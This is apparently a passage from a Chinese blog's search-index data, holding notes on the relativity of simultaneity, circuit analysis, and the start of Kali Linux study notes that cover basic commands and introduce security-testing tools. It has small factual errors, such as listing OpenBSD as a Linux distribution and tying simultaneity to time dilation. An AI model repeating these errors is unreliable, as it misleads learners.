title=\"同时性的相对性\"\u003e\u003c/a\u003e同时性的相对性\u003c/h3\u003e\u003cp\u003e假设$S’$系(火车)相对$S$系(地面)以速度$u$运动,火车箱中间有一个电灯,打开它,则在$S’$中观察到它光同时到达列车始末;但是在$S$上观察,会得到光先到达车厢后部,再到达车厢前端(相对火车运动方向而言)。因此,在$S’$系中异地同时发生的两个事件,在$S$系中并不同时。也就是说,\u003cstrong\u003e“同时性”具有相对性。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e同时性的相对性是狭义相对论的一个基本结论,它表明了时间的相对性。在不同的惯性系中,时间的流逝速率是不同的。这一结论与经典牛顿力学的绝对时空观是不同的,它是狭义相对论的一个重要特征。\u003c/p\u003e\u003cp\u003e同时性的相对性可以通过著名的钟慢效应来进行实验验证。例如,将两个精密的原子钟分别放在地面和飞行的飞机上,当飞机飞行一段时间后,两个钟的时间差就会变得非常明显。这一效应已经被实验验证过,验证结果与狭义相对论的预测非常吻合。\u003c/p\u003e\u003cp\u003e同时性的相对性也是狭义相对论的一个重要基础,它为后续的狭义相对论理论奠定了基础。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/"},{"title":"第二章:电阻电路分析","time":"2022-10-31T08:24:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"KCL-x2F-KVL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KCL-x2F-KVL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KCL/KVL独立方程\"\u003e\u003c/a\u003eKCL/KVL独立方程\u003c/h2\u003e\u003ch3 id=\"KCL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KCL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KCL独立方程\"\u003e\u003c/a\u003eKCL独立方程\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-151002.png\" alt=\"什么是独立方程\"/\u003e\u003c/p\u003e\u003cp\u003e对于n个结点的连通图,有且仅有n-1个独立方程。\u003c/p\u003e\u003cp\u003e任取n-1个结点写出的KCL方程相互独立,且能列出独立方程的结点称为独立结点。\u003c/p\u003e\u003ch3 id=\"KVL独立方程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#KVL%E7%8B%AC%E7%AB%8B%E6%96%B9%E7%A8%8B\" class=\"headerlink\" title=\"KVL独立方程\"\u003e\u003c/a\u003eKVL独立方程\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-151345.png\" alt=\"KVL独立方程\"/\u003e\u003c/p\u003e\u003cp\u003e对于有n个结点,b条支路的连通图,有且仅有(b-n+1)个独立的KVL方程。将能列出独立KVL方程的回路称为独立回路。常用的独立回路:\u003c/p\u003e\u003cul\u003e\u003cli\u003e(b-n+1)个\u003cstrong\u003e基本回路\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e平面电路的(b-n+1)个网孔\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"2b法-x2F-支路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#2b%E6%B3%95-x2F-%E6%94%AF%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"2b法/支路法\"\u003e\u003c/a\u003e2b法/支路法\u003c/h2\u003e\u003cp\u003e电路分析的任务,就是求出未知的支路电压和支路电流。标题所述的,就是求解电路最基本的两种方法。手工分析时,计算较为繁琐\u003c/p\u003e\u003ch3 id=\"2b法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#2b%E6%B3%95\" class=\"headerlink\" title=\"2b法\"\u003e\u003c/a\u003e2b法\u003c/h3\u003e\u003cp\u003e以b个支路电压和b个支路电流为未知变量列写并求解方程的方法称为2b法。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-153446.png\" alt=\"图例\"/\u003e\u003c/p\u003e\u003cp\u003e下面以上图为例,说说列写步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e在a、b、c三个结点列写出(n-1)=3个独立KCL方程;选网孔列写出(b-n+1)=3个独立KVL方程。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-153501.png\" alt=\"方程\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e根据元件的伏安关系,每条支路又能列写b=6个支路电压和电流方程。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-154221.png\" alt=\"支路方程\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e解上述2b=12个独立方程,求出支路电流和电压。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"支路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%94%AF%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"支路法\"\u003e\u003c/a\u003e支路法\u003c/h3\u003e\u003cp\u003e以支路电流/电压为未知量列出方程,求解支路电流/电压,称为支路电流/电压法。\u003c/p\u003e\u003cp\u003e步骤如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e选定各支路电流参考方向\u003c/li\u003e\u003cli\u003e对n-1个独立结点,列出独立KCL方程\u003c/li\u003e\u003cli\u003e选定b-n+1个独立回路(基本回路或网孔),指定回路绕行方向,根据KVL和OL列出回路电压方程。列写过程中,将支路电压用支路电流来表示\u003c/li\u003e\u003cli\u003e联立求解上述b个支路电流方程,求解题述的支路电压/功率\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"例1\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E4%BE%8B1\" class=\"headerlink\" title=\"例1\"\u003e\u003c/a\u003e例1\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155409.png\" alt=\"example-1-1\"/\u003e\u003c/p\u003e\u003cp\u003e此处是重点!!!对于无伴电流源(也就是支路上只有一个电流源)的处理方法是,在其两端设定一个电压U,然后后续的回路法计算中,忽略它的电流。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155430.png\" alt=\"example-1-2\"/\u003e\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221017-155449.png\" alt=\"example-1-3\"/\u003e\u003c/p\u003e\u003ch2 id=\"回路法-x2F-网孔法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%9B%9E%E8%B7%AF%E6%B3%95-x2F-%E7%BD%91%E5%AD%94%E6%B3%95\" class=\"headerlink\" title=\"回路法/网孔法\"\u003e\u003c/a\u003e回路法/网孔法\u003c/h2\u003e\u003cp\u003e回路法,顾名思义,是以一组独立回路电流为变量并列出由前者表达的KVL方程的求解方法。通常选择基本回路为独立回路。这时,回路电流就是相对应的连枝电流。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221031165219.png\" alt=\"回路法\"/\u003e\u003c/p\u003e\u003cp\u003e对于上图(a),选定三个回路之后,对于节点123,根据KCL可得到各树枝电流为\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ei_4\u0026amp;=i_1-i_2\\\u003cbr/\u003ei_5\u0026amp;=i_1+i_3\\\u003cbr/\u003ei_6\u0026amp;=-i_2-i_3\\\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e将上式和上图对照,可得到树枝电流等于流经相关各回路电流的代数和。\u003c/p\u003e\u003cp\u003e随后,对于各回路应用KVL,并将其中的支电流改用回路电流表示,从而就得到了回路法的方程组。\u003c/p\u003e\u003ch2 id=\"戴维南等效电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%88%B4%E7%BB%B4%E5%8D%97%E7%AD%89%E6%95%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"戴维南等效电路\"\u003e\u003c/a\u003e戴维南等效电路\u003c/h2\u003e\u003cp\u003e内容:一个线性含源网络N可以用\u003cstrong\u003e一个电压源和一个电阻的组合等效代替\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e其中,电压源记作$u_{oc}$,电阻记作$R_0$。\u003c/p\u003e\u003cp\u003e显然,使用该定理能够简化很多电路问题的求解。下面介绍戴维南等效电路的求法。\u003c/p\u003e\u003ch3 id=\"戴维南等效电阻的求解\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E6%88%B4%E7%BB%B4%E5%8D%97%E7%AD%89%E6%95%88%E7%94%B5%E9%98%BB%E7%9A%84%E6%B1%82%E8%A7%A3\" class=\"headerlink\" title=\"戴维南等效电阻的求解\"\u003e\u003c/a\u003e戴维南等效电阻的求解\u003c/h3\u003e\u003cp\u003e大致有四个方法。不含受控源的有一种,含有受控源的有三种。\u003c/p\u003e\u003ch4 id=\"独立源置零法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E7%8B%AC%E7%AB%8B%E6%BA%90%E7%BD%AE%E9%9B%B6%E6%B3%95\" class=\"headerlink\" title=\"独立源置零法\"\u003e\u003c/a\u003e独立源置零法\u003c/h4\u003e\u003cp\u003e将无受控源电路网N中的独立源置零,随后根据电路串并联关系和星角变换等方法求出从端口看进去的等效电阻$R_0$。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里所说的\u003cstrong\u003e独立源置零\u003c/strong\u003e指的是:电压源替换为导线,电流源替换为开路。 \u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"外加电源法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%A4%96%E5%8A%A0%E7%94%B5%E6%BA%90%E6%B3%95\" class=\"headerlink\" title=\"外加电源法\"\u003e\u003c/a\u003e外加电源法\u003c/h4\u003e\u003cp\u003e令N中\u003cstrong\u003e所有独立源置零\u003c/strong\u003e,保留受控源,随后外加独立源。如果外加电流源,就以电压为响应;相反则以电流为响应。最后就能计算得出:\u003cbr/\u003e$$\u003cbr/\u003eR_0=\\frac{u}{i}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e注意,\u003cstrong\u003e对于电路网N而言,u和i是关联参考方向;但是对于外加的独立源而言,u和i是非关联参考方向\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221116230306.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面的例题中,i可以是给定的,也可以是变量。\u003c/p\u003e\u003ch4 id=\"开路短路法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/#%E5%BC%80%E8%B7%AF%E7%9F%AD%E8%B7%AF%E6%B3%95\" class=\"headerlink\" title=\"开路短路法\"\u003e\u003c/a\u003e开路短路法\u003c/h4\u003e\u003cp\u003e计算电路的开路电压$u_{oc}$,短路电流$i_{sc}$,即可根据二者和$R_0$的关系求得$R_0$。\u003c/p\u003e\u003cp\u003e总结:\u003c/p\u003e\u003col\u003e\u003cli\u003e不含受控源的戴维南等效内阻的求解:独立源置零,运用电阻的串并联来求解其等效内阻\u003c/li\u003e\u003cli\u003e含受控源的戴维南等效电阻的求解:*\u003cem\u003e外加电源法和开路短路法,以及端口的伏安关系法\u003c/em\u003e。*\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/31/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E7%94%B5%E9%98%BB%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"Kali Linux学习笔记","time":"2022-10-30T09:16:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e参考资料:Learning Kali Linux by Ric Messier(O’Reilly). Copyright 2018 Ric Messier, 978-1-492-02869-7\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eKali Linux目前是一个基于debian的发行版,它专注于安全测试相关的方方面面,并提供了一系列的专业工具供测试人员使用。这篇笔记包含以下几个方面:\u003c/p\u003e\u003cul\u003e\u003cli\u003eKali Linux 入门\u003c/li\u003e\u003cli\u003e网络安全测试基础\u003c/li\u003e\u003cli\u003e侦察\u003c/li\u003e\u003cli\u003e寻找漏洞\u003c/li\u003e\u003cli\u003e自动化漏洞利用\u003c/li\u003e\u003cli\u003eMetasploit进阶\u003c/li\u003e\u003cli\u003e无线安全测试\u003c/li\u003e\u003cli\u003eWeb应用测试\u003c/li\u003e\u003cli\u003e破解密码\u003c/li\u003e\u003cli\u003e高级技术\u003c/li\u003e\u003cli\u003e报告\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这篇笔记中,将简要记录相关资料。\u003c/p\u003e\u003ch2 id=\"0x01-Linux基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01-Linux%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"0x01.Linux基础\"\u003e\u003c/a\u003e0x01.Linux基础\u003c/h2\u003e\u003cp\u003eLinux是一个面向多用户的操作系统内核,基于Linux内核,世界上有着众多Linux发行版,如Ubuntu,Open BSD,Debian,Deepin Linux等。Kali 是一个基于Debian的发行版,包含有很多计算机安全相关工具。下面涉及到的,是Linux的基本使用方法。有使用经验的读者可以跳过/速览此部分\u003c/p\u003e\u003ch3 id=\"0x01a-文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01a-%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"0x01a.文件操作\"\u003e\u003c/a\u003e0x01a.文件操作\u003c/h3\u003e\u003cp\u003eLinux文件系统结构同UNIX一样,具有通用布局。系统中的磁盘都会归于\u003ccode\u003e/\u003c/code\u003e(根文件夹)目录下。在根文件夹下通常有以下几个公共目录:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e/bin\u003c/code\u003e 单用户模式下引导系统时必须可用的命令/二进制文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/boot\u003c/code\u003e 系统引导文件,包括引导加载器的配置,内核,以及启动内核所需的初始\u003ccode\u003eramdisk\u003c/code\u003e文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/dev\u003c/code\u003e 伪文件系统,包含用于程序访问硬件设备的条目\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/etc\u003c/code\u003e 与操作系统和系统服务相关的配置文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/home\u003c/code\u003e 包含用户主目录的目录\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/lib\u003c/code\u003e 包含任何程序都可用使用的共享代码和函数的库文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/opt\u003c/code\u003e 可选的第三方软件\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/proc\u003c/code\u003e 伪文件系统,包含与运行进程有关的文件,包括内存映射,用于以运行程序的命令行,以及与程序相关的其他基本系统信息\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/root\u003c/code\u003e root用户的根目录\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/sbin\u003c/code\u003e 系统二进制文件,同时也需要在单用户模式下可用\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/tmp\u003c/code\u003e 存放临时文件的文件夹\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/usr\u003c/code\u003e 只读用户数据(包括\u003ccode\u003ebin\u003c/code\u003e,\u003ccode\u003edoc\u003c/code\u003e,\u003ccode\u003elib\u003c/code\u003e,\u003ccode\u003esbin\u003c/code\u003e和共享子目录)\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/var\u003c/code\u003e 变量数据,包含运行进程、日志文件、运行时数据,以及其他临时文件的状态信息。在系统运行期间,这些文件的大小和存续都会发生变化\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e启动Kali,然后用你的账户登录。默认会进入图形化界面。此时你需要使用\u003ccode\u003eCtrl+Shift+T\u003c/code\u003e(或者在左上角菜单中找到终端并点击)来打开终端(Terminal)。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e终端是和系统/软件交互的重要工具,即使只使用图形化工具也应当熟悉,因为大部分工具的命令行版本更加易用,有时也能看到图形界面无法查看的日志信息。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在终端中,输入程序名称以运行程序。输入部分名称并按\u003ccode\u003eTab\u003c/code\u003e可以补全指令,上下键可以查看指令历史记录。\u003c/p\u003e\u003cp\u003e可以看到,每一行的开头通常包括\u003ccode\u003eusername@hostname:[workdir]\u003c/code\u003e。其中,\u003ccode\u003eusername\u003c/code\u003e表示当前用户名,\u003ccode\u003ehostname\u003c/code\u003e表示主机名,\u003ccode\u003eworkdir\u003c/code\u003e表示当前所在的目录。\u003c/p\u003e\u003cp\u003e要查看当前目录下的文件,输入\u003ccode\u003els\u003c/code\u003e并回车。这表示使用\u003ccode\u003els\u003c/code\u003e程序查看当前目录下的文件列表。程序可以附加参数,输入\u003ccode\u003els -la\u003c/code\u003e以长列表(-l)形式显示所有(-a)文件。这条指令中的\u003ccode\u003e-la\u003c/code\u003e就是附加的参数,它也可以写成\u003ccode\u003e-l -a\u003c/code\u003e的形式。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ecd [目录路径]\u003c/code\u003e 切换到指定路径。\u003ccode\u003e.\u003c/code\u003e表示当前路径,\u003ccode\u003e..\u003c/code\u003e表示上一层路径\u003c/li\u003e\u003cli\u003e\u003ccode\u003etouch [文件路径]\u003c/code\u003e 修改文件的访问时间为此刻(和字面意思一样,“摸”一下文件),不存在则创建空文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003echmod (-R) OOO [路径]\u003c/code\u003e 修改文件/文件夹权限,三位从左到右:读r写w执行x,三位合并为8进制数,权限有三组,所有者,组,访客(所有人),对应三位8进制数。flag\u003ccode\u003e-R\u003c/code\u003e表示递归(Recursive),表示更改文件夹和其下所有子文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003elocate [文件名]\u003c/code\u003e 查找数据库获得文件位置\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewitch [文件名]\u003c/code\u003e 查找\u003ccode\u003epath\u003c/code\u003e变量中的可执行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003efind [dir] -name [filename] [-print]\u003c/code\u003e 递归查找文件,支持正则(需用双引号包围表达式)\u003c/li\u003e\u003cli\u003e\u003ccode\u003erm [-r] [路径]\u003c/code\u003e 删除文件/文件夹。删除文件夹时,需要使用\u003ccode\u003e-r\u003c/code\u003e参数。\u003cstrong\u003e删除前务必确认删除对象是否正确!!!\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"0x01b-其他常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x01b-%E5%85%B6%E4%BB%96%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"0x01b.其他常用指令\"\u003e\u003c/a\u003e0x01b.其他常用指令\u003c/h3\u003e\u003cp\u003e终端还有其他实用工具,它们涵盖进程管理、权限管理、用户管理、网络工具等相当全面的工具。以下列举几个:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ecat [文件路径]\u003c/code\u003e 输出文件内容到终端\u003c/li\u003e\u003cli\u003e\u003ccode\u003eps\u003c/code\u003e 获取进程列表\u003c/li\u003e\u003cli\u003e\u003ccode\u003eman\u003c/code\u003e 获取帮助手册\u003c/li\u003e\u003cli\u003e\u003ccode\u003etop\u003c/code\u003e 获取进程列表,使用\u003ccode\u003eq\u003c/code\u003e或\u003ccode\u003eCtrl+C\u003c/code\u003e退出\u003c/li\u003e\u003cli\u003e\u003ccode\u003ekill -9 [pid]\u003c/code\u003e 终止进程\u003c/li\u003e\u003cli\u003e\u003ccode\u003ekillall [pid/进程名]\u003c/code\u003e 终止进程\u003c/li\u003e\u003cli\u003e\u003ccode\u003eadduser/useradd\u003c/code\u003e 创建用户\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e终端的更多用法有大量其他专业资料,此处不再赘述。\u003c/p\u003e\u003ch2 id=\"0x02-网络安全测试基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x02-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"0x02.网络安全测试基础\"\u003e\u003c/a\u003e0x02.网络安全测试基础\u003c/h2\u003e\u003ch3 id=\"0x021-安全测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x021-%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x021.安全测试\"\u003e\u003c/a\u003e0x021.安全测试\u003c/h3\u003e\u003cp\u003e在提到安全测试之前,需要知道安全性的定义。这通常包含三个基本要素:\u003cstrong\u003e机密性、完整性和可用性\u003c/strong\u003e。任何影响系统/软件这些方面之一的内容都会影响软件或系统的安全性。安全测试并不局限于渗透测试提供的观察视角。\u003c/p\u003e\u003ch3 id=\"0x022-网络安全测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x022-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x022.网络安全测试\"\u003e\u003c/a\u003e0x022.网络安全测试\u003c/h3\u003e\u003cul\u003e\u003cli\u003e监控的重要性 保证服务和硬件正常运行 可以用nagios监控进程和硬件使用率\u003c/li\u003e\u003cli\u003e报告有助于重现问题\u003c/li\u003e\u003cli\u003e可以用nc/telnet手动测试服务端口\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"0x0211-压力测试\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux/Kali%20Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#0x0211-%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"0x0211.压力测试\"\u003e\u003c/a\u003e0x0211.压力测试\u003c/h4\u003e\u003cp\u003e一些软件/硬件难以处理大负载的流量。引起这的原因多样,因此,必须预先测试系统以保证负责的系统不会在发生不良事件时瘫痪。下面有几种相关工具:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003efragroute\u003c/strong\u003e 用于破坏和操作来自自己系统的数据包,并将其发往指定IP。下面是一组配置,用于模拟错误的数据包:\u003c/p\u003e\u003cfigure 